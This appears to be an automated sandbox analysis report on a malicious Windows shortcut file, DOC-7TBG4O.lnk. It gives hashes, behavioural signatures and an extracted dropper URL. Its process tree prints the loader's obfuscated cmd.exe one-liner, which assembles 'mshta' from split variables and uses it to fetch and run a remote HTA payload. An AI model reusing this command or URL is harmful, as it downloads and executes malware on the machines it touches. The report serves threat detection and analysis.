Analysis
- max time kernel
58s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 10:01
Static task
static1
Behavioral task
behavioral1
Sample
DOC-7TBG4O.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-7TBG4O.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-7TBG4O.lnk
- Size 1KB
- Sample260817-l2a7fahk21
- SHA256 4335ff4e58482f8aa8773ab37d350615eeb731bf0f712d6ea46b5fe50846558c
- MD5 36643583e32e186bd81db3127943fecd
- SHA1 b8d47e19673a4b02bbf5e4483ac8620658038a9e
- SHA512 40d5396ee9432bafa4a0e3bac5a87152c7bcfba84590bf738b40daf1221fd5316cfb1108f9d11ff0509aed0882354cf5a20aa2c6304777a72e84f6dbd4fdfd4a
- TLSH T13E3197107EFD0624F3F39F7280BB6B1089BBB9568D21C61D0151864C5032A01EABAF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4864 cmd.exe 2920 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4864 wrote to memory of 2920 4864 cmd.exe 90 PID 2920 wrote to memory of 4408 2920 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7TBG4O.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set qOi=msh&&set nMJH=ta&&start "" !qOi!!nMJH! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\System32\mshta.exemshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4408
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